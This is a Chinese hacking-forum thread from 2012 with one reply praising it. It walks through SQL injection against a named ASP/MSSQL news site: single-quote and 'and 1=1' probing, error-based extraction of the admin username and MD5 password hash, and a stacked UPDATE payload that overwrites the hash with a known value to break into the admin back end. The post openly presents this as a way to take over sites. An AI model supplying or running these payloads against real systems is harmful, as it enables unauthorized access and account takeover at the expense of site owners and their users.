找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2371|回复: 1
打印 上一主题 下一主题

SQL注入直接修改管理员密码的MD5值

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:55:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
" k  j& \1 E9 b3 U可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)5 g! I( o5 \: f. H
测试如下:
# W5 h' U% D+ yhttp://www.tmdsb.com/news.asp?id=121% p0 f, }% s+ }, c
在地址后输入单引号,显示; a6 G  h9 q, k" b+ T
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
: K$ Z4 t! B4 ]) e4 s7 E字符串 ’’’ 之前有未闭合的引号
7 H* F* R# f. o* E/news/tmdws.asp,行634 ]/ W, _( x# ?
说明没有过滤单引号且数据库是MSSQL." ~- S% W: O0 M- c& n
and 1=1正常。and 1=2出错。肯定存在注入7 x# @( Y2 D  v) b" w1 {
接着输入/ q+ P1 p1 M2 A7 w3 O
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
4 J9 @. L) b3 I4 A/ b" i得到帐号为:admin! \" d+ v7 {7 V: M3 I
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin), v9 \, ^/ [  @
得到密码为:a4716077c2ba075c
! }) h( ~( M4 T! j2 n' s接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433, A! H4 G3 p" N  @* Y- r
命令如下 :& q) f" r* O4 d
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
+ W/ W9 p$ d6 w1 v4 e( `8 Z- m这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的
回复

使用道具 举报

沙发
发表于 2012-9-14 16:22:41 | 只看该作者
没法说  一个字牛
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表